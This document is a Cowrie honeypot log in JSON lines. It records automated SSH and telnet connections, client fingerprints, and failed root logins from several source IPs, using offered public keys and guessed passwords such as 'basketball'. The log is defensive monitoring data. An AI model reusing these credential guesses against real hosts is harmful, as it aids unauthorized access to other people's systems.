{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:49:ea:36:4a:3a:02:0d:d9:1b:09:ce:a4:17:da:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2fBVLC/a9ZAV0DFeYRHbvwyTUjM8UEw9QmIra6QH5UA1x/Xu8u2sWZyimGCORbJkIgxsYiLHuAOjVfTr+yozWXeEZHGSeXhrOItiGRpuEsy1SUlinSUFeCHxvBo/le/0xzg8nTbA7smqS6+sCU+RbyYZZ3BlJG2VtEC2g320iLhsbddUstHjTcC2iiTo0R9G1ifaqyXkBw91R+eaZNUlrN8cePnpk7+BdpH8AmWy74moTMOlZW+8Gddb6DUa7wK1dTA9j07C+rwHIaKXZCArj396S5lQu8dKhIoRAd3qIYWYicKJOOz8+7flKuvYor4jn8HAOHtspIdXX4OZrZAbnxnRGM/o7/TGl2vJLiw1QNHTNBtYUL9IZ9jvs1iMrwJgOkxLZV6a3NUkNGtkCMtJO/GWqDnSy0/5JhLcrTVjgS1OyGlxLQYl+brBfp//WT60lirAaLa+rWDIaFpPjcEhqxOtpRjc+6ztuOaqbjRs7OX4rBkcaqNNOaCfctrgctqg56fJ64KKCUofYTqFE66bkAzUcMU0nty/d0QR/P8y0OrJFNA6r/K4Wxq+W1GEdKwLByj13qbs3rjMExKJQ4CqXo9WgmCUFFCqOmGXCbZzQc5QWw34lqOIoZ1GWVjad8y2KHGZVBqasfu4NK9Hc2y0Z3THuQIqme+4M5034pUVZSw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:49:ea:36:4a:3a:02:0d:d9:1b:09:ce:a4:17:da:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.260907Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:49:ea:36:4a:3a:02:0d:d9:1b:09:ce:a4:17:da:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2fBVLC/a9ZAV0DFeYRHbvwyTUjM8UEw9QmIra6QH5UA1x/Xu8u2sWZyimGCORbJkIgxsYiLHuAOjVfTr+yozWXeEZHGSeXhrOItiGRpuEsy1SUlinSUFeCHxvBo/le/0xzg8nTbA7smqS6+sCU+RbyYZZ3BlJG2VtEC2g320iLhsbddUstHjTcC2iiTo0R9G1ifaqyXkBw91R+eaZNUlrN8cePnpk7+BdpH8AmWy74moTMOlZW+8Gddb6DUa7wK1dTA9j07C+rwHIaKXZCArj396S5lQu8dKhIoRAd3qIYWYicKJOOz8+7flKuvYor4jn8HAOHtspIdXX4OZrZAbnxnRGM/o7/TGl2vJLiw1QNHTNBtYUL9IZ9jvs1iMrwJgOkxLZV6a3NUkNGtkCMtJO/GWqDnSy0/5JhLcrTVjgS1OyGlxLQYl+brBfp//WT60lirAaLa+rWDIaFpPjcEhqxOtpRjc+6ztuOaqbjRs7OX4rBkcaqNNOaCfctrgctqg56fJ64KKCUofYTqFE66bkAzUcMU0nty/d0QR/P8y0OrJFNA6r/K4Wxq+W1GEdKwLByj13qbs3rjMExKJQ4CqXo9WgmCUFFCqOmGXCbZzQc5QWw34lqOIoZ1GWVjad8y2KHGZVBqasfu4NK9Hc2y0Z3THuQIqme+4M5034pUVZSw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.264927Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:d7:24:3e:a1:ff:b7:c1:10:42:99:f4:d4:34:4b:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD1fTW8+wXXaZqvnm6eK7A81sDQ/V6wsemeyURy/KIVPCK8+5dEZO4ObROt8nGHo3ktgZbGh7vHQ/i9OBQkp06/+l9bsJu/Pg03tKubFK9WpP4ww+1qhC5MJUC/6J/Oig/6LNXWj5iIPWX4ESo2poCnSp/Kr9XzHp2dTfBcTIKRRC1ABmpuygGq7U0NQuR4F/wXGTTfusKXijhXlTTWEE0PijNiKpmvCoc2m6uO0U5sdBn2T31I+21Vy0OuBAHqJW9VwckxGBGdyQRJ1e7D94cyOXfqfeRee4Tm/7ARenNGrBYmwDbPbG+JX/q8WVMNpTOyCvRoE7WdtoNgm6Vz69YT/3sfyDDkvaF7IShslQ5vjdFrw1mbntMJYpuIXi/RrPECQQ+JfaGy33RLoNOPb4iAHBuyTX6PPZTrer6j4zkX62k1GRnL1cguCSzlaeMgZYakpaCEZsJ49leaphG/XsmDol+/Mb3/btKf402U1ZbUuTkAL/N5v20jvUwxjKd1JVUOcG8dFBO7s0gSoHLIKoouUTcrVnmfkMRMsc2u/h6zWTMTQyfzSTHb8F3Vv4J/lAHvLHJpognP7mjxNwccEZY/cLY/OKXcA3AiNJajHVr7uyH7WT0wcybvHb9hgtxPCLV2OqNc4+4+4Pbg155she9FXAfQ3wjJd4gfl6pQjp1Cjw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:d7:24:3e:a1:ff:b7:c1:10:42:99:f4:d4:34:4b:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.353597Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:d7:24:3e:a1:ff:b7:c1:10:42:99:f4:d4:34:4b:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD1fTW8+wXXaZqvnm6eK7A81sDQ/V6wsemeyURy/KIVPCK8+5dEZO4ObROt8nGHo3ktgZbGh7vHQ/i9OBQkp06/+l9bsJu/Pg03tKubFK9WpP4ww+1qhC5MJUC/6J/Oig/6LNXWj5iIPWX4ESo2poCnSp/Kr9XzHp2dTfBcTIKRRC1ABmpuygGq7U0NQuR4F/wXGTTfusKXijhXlTTWEE0PijNiKpmvCoc2m6uO0U5sdBn2T31I+21Vy0OuBAHqJW9VwckxGBGdyQRJ1e7D94cyOXfqfeRee4Tm/7ARenNGrBYmwDbPbG+JX/q8WVMNpTOyCvRoE7WdtoNgm6Vz69YT/3sfyDDkvaF7IShslQ5vjdFrw1mbntMJYpuIXi/RrPECQQ+JfaGy33RLoNOPb4iAHBuyTX6PPZTrer6j4zkX62k1GRnL1cguCSzlaeMgZYakpaCEZsJ49leaphG/XsmDol+/Mb3/btKf402U1ZbUuTkAL/N5v20jvUwxjKd1JVUOcG8dFBO7s0gSoHLIKoouUTcrVnmfkMRMsc2u/h6zWTMTQyfzSTHb8F3Vv4J/lAHvLHJpognP7mjxNwccEZY/cLY/OKXcA3AiNJajHVr7uyH7WT0wcybvHb9hgtxPCLV2OqNc4+4+4Pbg155she9FXAfQ3wjJd4gfl6pQjp1Cjw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.357685Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:13.447720Z","src_ip":"195.26.87.217","session":"23c00eb96410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":45330,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f000424a57","protocol":"ssh","message":"New connection: 103.27.238.116:45330 (159.203.135.109:22) [session: a6f000424a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:16.541947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:16.548115Z","src_ip":"103.27.238.116","session":"a6f000424a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71074414253235,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:16.729847Z","src_ip":"152.42.224.71","session":"e12bc037a107","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:16.814990Z","src_ip":"103.27.238.116","session":"a6f000424a57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"basketball","message":"login attempt [root/basketball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:17.628131Z","src_ip":"103.27.238.116","session":"a6f000424a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:18.902243Z","src_ip":"103.27.238.116","session":"a6f000424a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":38448,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a89302ea1ab","protocol":"ssh","message":"New connection: 37.233.85.71:38448 (159.203.135.109:22) [session: 6a89302ea1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:27.296019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:27.301977Z","src_ip":"37.233.85.71","session":"6a89302ea1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:27.402669Z","src_ip":"37.233.85.71","session":"6a89302ea1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hgfdsa","message":"login attempt [root/hgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:27.704936Z","src_ip":"37.233.85.71","session":"6a89302ea1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:28.813389Z","src_ip":"37.233.85.71","session":"6a89302ea1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.110","src_port":52836,"dst_ip":"10.17.0.5","dst_port":22,"session":"45c4c3243296","protocol":"ssh","message":"New connection: 191.101.33.110:52836 (10.17.0.5:22) [session: 45c4c3243296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.529511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.534193Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.562123Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:47:51:31:49:2c:9d:62:87:ac:0e:85:f7:4e:e3:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAl8lMZqj9zHbkb+xDjDKQ89symEg7BwFByePee7JvYAP+9d3VKxw+pTzUC7g6PiduBB4RSQ+59uxW/WJ71d9gpzb2uvVShvb5U6GCrkt8wu+IKWmv9aPqo44g3suNuirxPWrVnnGO5IhgfoSybcN+EQuwOTH9jvkt3sJ0VTc2/JAaSRHeksd5/h0Ti37v6k/fXk4cXqgCr+6GO9tGIeJuCadLbQ3MVcY1TACdaPcQo5cNsNr3aQR6SGvRzFKrCWAD9Vaf1SA0JrpU9KsfOhPLshhz+ALZwWV1tiLWqutlsbECpWxcW296VjfXxiVx9xUNIph65drTM6tGTIWED/A8Ww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:47:51:31:49:2c:9d:62:87:ac:0e:85:f7:4e:e3:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.677768Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:47:51:31:49:2c:9d:62:87:ac:0e:85:f7:4e:e3:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAl8lMZqj9zHbkb+xDjDKQ89symEg7BwFByePee7JvYAP+9d3VKxw+pTzUC7g6PiduBB4RSQ+59uxW/WJ71d9gpzb2uvVShvb5U6GCrkt8wu+IKWmv9aPqo44g3suNuirxPWrVnnGO5IhgfoSybcN+EQuwOTH9jvkt3sJ0VTc2/JAaSRHeksd5/h0Ti37v6k/fXk4cXqgCr+6GO9tGIeJuCadLbQ3MVcY1TACdaPcQo5cNsNr3aQR6SGvRzFKrCWAD9Vaf1SA0JrpU9KsfOhPLshhz+ALZwWV1tiLWqutlsbECpWxcW296VjfXxiVx9xUNIph65drTM6tGTIWED/A8Ww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.681749Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:45:d7:23:0f:ef:b3:2d:4a:1e:f2:d1:be:0c:ad:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkWGeCfm2VqtqtqPL/DswzxhRGae4hBKHvLmQPlRLDMwK7BJEQim2yxCEWg2Cxj/4BlIw27Pr82kNGzS+i+wNbEXHErjP6Bo08qhDKZCnCH+vXlzcoA7bZ11mW6896X//e/o7bE7e2gPcVTw1jJPJblPbB6H2XZGj9AP/V/Tf4USJEf86mtR9X1L4SEyWJkNucHV3Fkbyth9oxexijb1I55QcwDdpTr31w+TfBsZDV6KUFi5CMOOvS6RrggBsgntzde3MNS8upvLGD7YQ+Xbo+jjjDgAbij2OOYzDfz/eildqWq3oPpUhlH3T1gyox30/Do2I84Xupv6zb0YXstpiRL6DNd6dIXv7eaVpvF0uzBuPA6Zt+N0D2YO2tR7iQxc2ZAWcPDXZa7MObI/f92kKrbM5whHG0O9mphbax3psdPF2i2P8d8ORutH8tXXQ+XzFPSfLFOLs5RV6BMiMAykVPkodnWKEDhmUg/QjXvOxH3avmP0Gym1fQ2BxB4jkrYb/bFHMOo2nTsTl52nIuKStO0HcPI3iB2nM4EsmTFawf+9D6C1MXGp+sOsFUS40qYfxXA0TuSRtRU7Uzv1IqMxia6CiqYmfhoSjizEXAseTlOBVeOgDAq++uZ37d5PvWMnPSZapBYz3RnbLSqsXFdojssG/0dwyMM/4gcZ9eaTlBUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:45:d7:23:0f:ef:b3:2d:4a:1e:f2:d1:be:0c:ad:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.709754Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:45:d7:23:0f:ef:b3:2d:4a:1e:f2:d1:be:0c:ad:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCkWGeCfm2VqtqtqPL/DswzxhRGae4hBKHvLmQPlRLDMwK7BJEQim2yxCEWg2Cxj/4BlIw27Pr82kNGzS+i+wNbEXHErjP6Bo08qhDKZCnCH+vXlzcoA7bZ11mW6896X//e/o7bE7e2gPcVTw1jJPJblPbB6H2XZGj9AP/V/Tf4USJEf86mtR9X1L4SEyWJkNucHV3Fkbyth9oxexijb1I55QcwDdpTr31w+TfBsZDV6KUFi5CMOOvS6RrggBsgntzde3MNS8upvLGD7YQ+Xbo+jjjDgAbij2OOYzDfz/eildqWq3oPpUhlH3T1gyox30/Do2I84Xupv6zb0YXstpiRL6DNd6dIXv7eaVpvF0uzBuPA6Zt+N0D2YO2tR7iQxc2ZAWcPDXZa7MObI/f92kKrbM5whHG0O9mphbax3psdPF2i2P8d8ORutH8tXXQ+XzFPSfLFOLs5RV6BMiMAykVPkodnWKEDhmUg/QjXvOxH3avmP0Gym1fQ2BxB4jkrYb/bFHMOo2nTsTl52nIuKStO0HcPI3iB2nM4EsmTFawf+9D6C1MXGp+sOsFUS40qYfxXA0TuSRtRU7Uzv1IqMxia6CiqYmfhoSjizEXAseTlOBVeOgDAq++uZ37d5PvWMnPSZapBYz3RnbLSqsXFdojssG/0dwyMM/4gcZ9eaTlBUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.714016Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:6f:77:1d:85:01:67:38:c6:08:3b:b7:fe:1b:db:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzpHH82nX+ceH2JuWY9ez42pTuzb4/U9mleeF7jV8NYi6yoZC/gBTofLphSuAYB6MgVoxJqvwcDt5je+NMz1G8A2LWATX2QBBQJ9A1ULodQ7e43Z8VDjo01AkUFf2pDoXSIurrQtmvekAQsalrL0efGowd38H4M179wsVHjmv7zzsAA96hScAFYDli0NwKHWbaIhW2trWcu/Cf2ulX+szEu64i/wUG2lh4jtsFS40VuCesTwLCYFPAkGiACJcHKt3wV+I5ulFrCRkx9IU0WYP/Z8+CMtgPfKhf/cYic+Q/QaRd0kDJdZ6O9v/2dvDpO9RcF+jBJraFuOqm/NzGtWysQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:6f:77:1d:85:01:67:38:c6:08:3b:b7:fe:1b:db:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.742209Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:6f:77:1d:85:01:67:38:c6:08:3b:b7:fe:1b:db:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzpHH82nX+ceH2JuWY9ez42pTuzb4/U9mleeF7jV8NYi6yoZC/gBTofLphSuAYB6MgVoxJqvwcDt5je+NMz1G8A2LWATX2QBBQJ9A1ULodQ7e43Z8VDjo01AkUFf2pDoXSIurrQtmvekAQsalrL0efGowd38H4M179wsVHjmv7zzsAA96hScAFYDli0NwKHWbaIhW2trWcu/Cf2ulX+szEu64i/wUG2lh4jtsFS40VuCesTwLCYFPAkGiACJcHKt3wV+I5ulFrCRkx9IU0WYP/Z8+CMtgPfKhf/cYic+Q/QaRd0kDJdZ6O9v/2dvDpO9RcF+jBJraFuOqm/NzGtWysQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.746565Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:0a:e6:e7:02:7f:58:82:3e:50:ec:9a:e6:1e:e0:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy+A+HOXe4m2nxNxVRXWzSh9gHdVLgfr1VUs/QgVrMctvaPGoaXtMbKxhD2/563wlX0WTByyU4FWqOAnq/9jv05wnhTa7IWHL8YAd8EI3zvSm1Q3Gjz9fDF5TVC5iTW0oZ2IJ42/mRohmMszw0CLya94Fwl4ykqmVNqAOtPCNHyGhLOBj3A9rWoka0MUFh1/zYD1+hnqIssP+GpNF24FcW3QRC3hUEtzSvOAPB4Sl9D2rs5RInD8nQuIxw6UEO+3WMcyxDq08ziqnHT9tP03sor8XT5+gY07SIkBsBjRnaxYhdnuW1J2cp4MAaU12I3qVoKxQF9BQ/hdTe8jDdrmgD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:0a:e6:e7:02:7f:58:82:3e:50:ec:9a:e6:1e:e0:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.774963Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:0a:e6:e7:02:7f:58:82:3e:50:ec:9a:e6:1e:e0:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy+A+HOXe4m2nxNxVRXWzSh9gHdVLgfr1VUs/QgVrMctvaPGoaXtMbKxhD2/563wlX0WTByyU4FWqOAnq/9jv05wnhTa7IWHL8YAd8EI3zvSm1Q3Gjz9fDF5TVC5iTW0oZ2IJ42/mRohmMszw0CLya94Fwl4ykqmVNqAOtPCNHyGhLOBj3A9rWoka0MUFh1/zYD1+hnqIssP+GpNF24FcW3QRC3hUEtzSvOAPB4Sl9D2rs5RInD8nQuIxw6UEO+3WMcyxDq08ziqnHT9tP03sor8XT5+gY07SIkBsBjRnaxYhdnuW1J2cp4MAaU12I3qVoKxQF9BQ/hdTe8jDdrmgD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:26:31.779230Z","src_ip":"191.101.33.110","session":"45c4c3243296","protocol":"ssh"}
